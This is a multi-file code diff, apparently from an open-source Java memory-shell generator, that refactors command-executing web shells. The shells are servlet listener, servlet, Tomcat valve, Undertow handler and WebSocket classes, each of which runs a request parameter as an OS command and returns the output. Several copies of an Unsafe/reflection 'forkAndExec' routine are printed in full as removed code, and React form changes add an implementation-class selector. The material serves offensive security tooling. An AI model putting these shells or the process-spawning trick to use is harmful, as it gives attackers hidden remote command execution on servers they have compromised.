forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
} }
@@ -1,21 +1,17 @@
package com.reajason.javaweb.memshell.shelltool.command; package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import javax.servlet.ServletOutputStream; import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener; import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.InputStream; import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class CommandListener implements ServletRequestListener { public class CommandListener implements ServletRequestListener {
public static String paramName; private static String paramName;
public CommandListener() { public CommandListener() {
} }
@@ -25,10 +21,14 @@ public class CommandListener implements ServletRequestListener {
} }
public String getParam(String param) { private String getParam(String param) {
return param; return param;
} }
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override @Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) { public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
@@ -36,12 +36,7 @@ public class CommandListener implements ServletRequestListener {
String cmd = getParam(request.getParameter(paramName)); String cmd = getParam(request.getParameter(paramName));
if (cmd != null) { if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request); HttpServletResponse servletResponse = this.getResponseFromRequest(request);
InputStream inputStream = null; InputStream inputStream = getInputStream(cmd);
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = servletResponse.getOutputStream(); ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
int length; int length;
@@ -53,101 +48,6 @@ public class CommandListener implements ServletRequestListener {
} }
} }
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null; return null;
} }
@@ -17,28 +17,27 @@ import java.lang.reflect.Method;
* @since 2024/12/15 * @since 2024/12/15
*/ */
public class CommandServlet extends HttpServlet { public class CommandServlet extends HttpServlet {
public static String paramName; private static String paramName;
@Override @Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp); doPost(req, resp);
} }
public String getParam(String param) { private String getParam(String param) {
return param; return param;
} }
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override @Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = getParam(request.getParameter(paramName)); String cmd = getParam(request.getParameter(paramName));
try { try {
if (cmd != null) { if (cmd != null) {
InputStream inputStream = null; InputStream inputStream = getInputStream(cmd);
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = response.getOutputStream(); ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
int length; int length;
@@ -50,99 +49,4 @@ public class CommandServlet extends HttpServlet {
e.printStackTrace(); e.printStackTrace();
} }
} }
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
} }
@@ -12,12 +12,16 @@ import java.lang.reflect.Method;
* @since 2025/5/15 * @since 2025/5/15
*/ */
public class CommandUndertowServletHandler { public class CommandUndertowServletHandler {
public static String paramName; private static String paramName;
public String getParam(String param) { private String getParam(String param) {
return param; return param;
} }
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override @Override
public boolean equals(Object obj) { public boolean equals(Object obj) {
Object[] args = ((Object[]) obj); Object[] args = ((Object[]) obj);
@@ -32,12 +36,7 @@ public class CommandUndertowServletHandler {
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
if (cmd != null) { if (cmd != null) {
InputStream inputStream = null; InputStream inputStream = getInputStream(cmd);
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
int length; int length;
@@ -51,99 +50,4 @@ public class CommandUndertowServletHandler {
} }
return false; return false;
} }
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
} }
@@ -3,26 +3,49 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.apache.catalina.Valve; import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response; import org.apache.catalina.connector.Response;
import sun.misc.Unsafe;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream; import javax.servlet.ServletOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class CommandValve implements Valve { public class CommandValve implements Valve {
public static String paramName; private static String paramName;
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = getParam(request.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = getInputStream(cmd);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
}
} catch (Exception e) {
e.printStackTrace();
}
this.getNext().invoke(request, response);
}
protected Valve next; protected Valve next;
protected boolean asyncSupported; protected boolean asyncSupported;
public CommandValve() {
}
@Override @Override
public Valve getNext() { public Valve getNext() {
return this.next; return this.next;
@@ -41,128 +64,4 @@ public class CommandValve implements Valve {
@Override @Override
public void backgroundProcess() { public void backgroundProcess() {
} }
public String getParam(String param) {
return param;
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = getParam(request.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
}
} catch (Exception ignored) {
}
this.getNext().invoke(request, response);
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
} }
@@ -1,7 +1,5 @@
package com.reajason.javaweb.memshell.shelltool.command; package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import javax.websocket.Endpoint; import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig; import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler; import javax.websocket.MessageHandler;
@@ -9,8 +7,6 @@ import javax.websocket.Session;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/** /**
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a> * <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -26,15 +22,14 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
return param; return param;
} }
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override @Override
public void onMessage(String cmd) { public void onMessage(String cmd) {
try { try {
InputStream inputStream = null; InputStream inputStream = getInputStream(getParam(cmd));
try {
inputStream = forkAndExec(getParam(cmd));
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(getParam(cmd)).getInputStream();
}
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
int length; int length;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
@@ -51,101 +46,6 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
} }
} }
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override @Override
public void onOpen(final Session session, EndpointConfig config) { public void onOpen(final Session session, EndpointConfig config) {
this.session = session; this.session = session;
+2
View File
@@ -120,6 +120,8 @@ export function MainConfigCard({
const handleShellToolChange = (value: string) => { const handleShellToolChange = (value: string) => {
const resetCommand = () => { const resetCommand = () => {
form.resetField("commandParamName"); form.resetField("commandParamName");
form.resetField("implementationClass");
form.resetField("encryptor");
}; };
const resetGodzilla = () => { const resetGodzilla = () => {
+31 -21
View File
@@ -1,7 +1,6 @@
import { env } from "@/config"; import { env } from "@/config";
import { FormSchema } from "@/types/schema"; import { FormSchema } from "@/types/schema";
import { useQuery } from "@tanstack/react-query"; import { useQuery } from "@tanstack/react-query";
import { useEffect, useState } from "react";
import { FormProvider, UseFormReturn } from "react-hook-form"; import { FormProvider, UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { Card, CardContent } from "../ui/card"; import { Card, CardContent } from "../ui/card";
@@ -18,36 +17,24 @@ export function CommandTabContent({
shellTypes, shellTypes,
}: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) { }: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) {
const { t } = useTranslation(); const { t } = useTranslation();
const { data } = useQuery<Array<string>>({ const { data } = useQuery<{ encryptors: Array<string>; implementationClasses: Array<string> }>({
queryKey: ["commandEncryptor"], queryKey: ["commandConfigs"],
queryFn: async () => { queryFn: async () => {
const response = await fetch(`${env.API_URL}/config/command/encryptors`); const response = await fetch(`${env.API_URL}/config/command/configs`);
return await response.json(); return await response.json();
}, },
}); });
const rawEncryptors = data ?? [];
const [encryptors, setEncryptors] = useState<Array<string>>(rawEncryptors);
const shellType = form.watch("shellType");
useEffect(() => {
if (shellType.startsWith("Agent")) {
setEncryptors(["RAW"]);
} else {
setEncryptors(rawEncryptors);
}
}, [shellType, rawEncryptors]);
return ( return (
<FormProvider {...form}> <FormProvider {...form}>
<TabsContent value="Command"> <TabsContent value="Command">
<Card> <Card>
<CardContent className="space-y-2 mt-4"> <CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-2 gap-2"> <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} /> <ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} /> <UrlPatternFormField form={form} />
</div> </div>
<div className="grid grid-cols-2 gap-2"> <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<FormField <FormField
control={form.control} control={form.control}
name="commandParamName" name="commandParamName"
@@ -57,7 +44,7 @@ export function CommandTabContent({
{t("shellToolConfig.paramName")} {t("optional")} {t("shellToolConfig.paramName")} {t("optional")}
</FormLabel> </FormLabel>
<FormControl> <FormControl>
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" /> <Input {...field} placeholder={t("placeholders.input")} className="h-8" />
</FormControl> </FormControl>
</FormItem> </FormItem>
)} )}
@@ -74,8 +61,31 @@ export function CommandTabContent({
<SelectValue placeholder={t("placeholders.select")} /> <SelectValue placeholder={t("placeholders.select")} />
</SelectTrigger> </SelectTrigger>
</FormControl> </FormControl>
<SelectContent key={data?.join(",")}> <SelectContent>
{encryptors?.map((v) => ( {data?.encryptors?.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))}
</SelectContent>
</Select>
</FormItem>
)}
/>
<FormField
control={form.control}
name="implementationClass"
render={({ field }) => (
<FormItem className="gap-1">
<FormLabel className="h-6 flex items-center">{t("shellToolConfig.implementationClass")}</FormLabel>
<Select onValueChange={field.onChange} value={field.value} defaultValue="RuntimeExec">
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder={t("placeholders.select")} />
</SelectTrigger>
</FormControl>
<SelectContent>
{data?.implementationClasses?.map((v) => (
<SelectItem key={v} value={v}> <SelectItem key={v} value={v}>
{v} {v}
</SelectItem> </SelectItem>
+2 -1
View File
@@ -111,7 +111,8 @@
"pass": "Pass", "pass": "Pass",
"suo5Header": "AdvanceConfiguration -> Request Header", "suo5Header": "AdvanceConfiguration -> Request Header",
"base64String": "Shell Class", "base64String": "Shell Class",
"encryptor": "Encryptor" "encryptor": "Encryptor",
"implementationClass": "ImplementationClass"
}, },
"success": { "success": {
"generated": "Generation successful" "generated": "Generation successful"
+2 -1
View File
@@ -111,7 +111,8 @@
"pass": "密码", "pass": "密码",
"suo5Header": "高级配置 -> 请求头", "suo5Header": "高级配置 -> 请求头",
"base64String": "内存马类", "base64String": "内存马类",
"encryptor": "加密器" "encryptor": "加密器",
"implementationClass": "实现类"
}, },
"success": { "success": {
"generated": "生成成功" "generated": "生成成功"
+1
View File
@@ -14,6 +14,7 @@ export const formSchema = z.object({
behinderPass: z.optional(z.string()), behinderPass: z.optional(z.string()),
antSwordPass: z.optional(z.string()), antSwordPass: z.optional(z.string()),
commandParamName: z.optional(z.string()), commandParamName: z.optional(z.string()),
implementationClass: z.optional(z.string()),
headerName: z.optional(z.string()), headerName: z.optional(z.string()),
headerValue: z.optional(z.string()), headerValue: z.optional(z.string()),
injectorClassName: z.optional(z.string()), injectorClassName: z.optional(z.string()),
+1
View File
@@ -20,6 +20,7 @@ export interface ShellToolConfig {
headerValue?: string; headerValue?: string;
shellClassBase64?: string; shellClassBase64?: string;
encryptor?: string; encryptor?: string;
implementationClass?: string;
} }
export interface CommandShellToolConfig { export interface CommandShellToolConfig {
+1
View File
@@ -44,6 +44,7 @@ export function transformToPostData(formValue: FormSchema) {
headerValue: formValue.headerValue, headerValue: formValue.headerValue,
shellClassBase64: formValue.shellClassBase64, shellClassBase64: formValue.shellClassBase64,
encryptor: formValue.encryptor, encryptor: formValue.encryptor,
implementationClass: formValue.implementationClass,
}; };
const injectorConfig: InjectorConfig = { const injectorConfig: InjectorConfig = {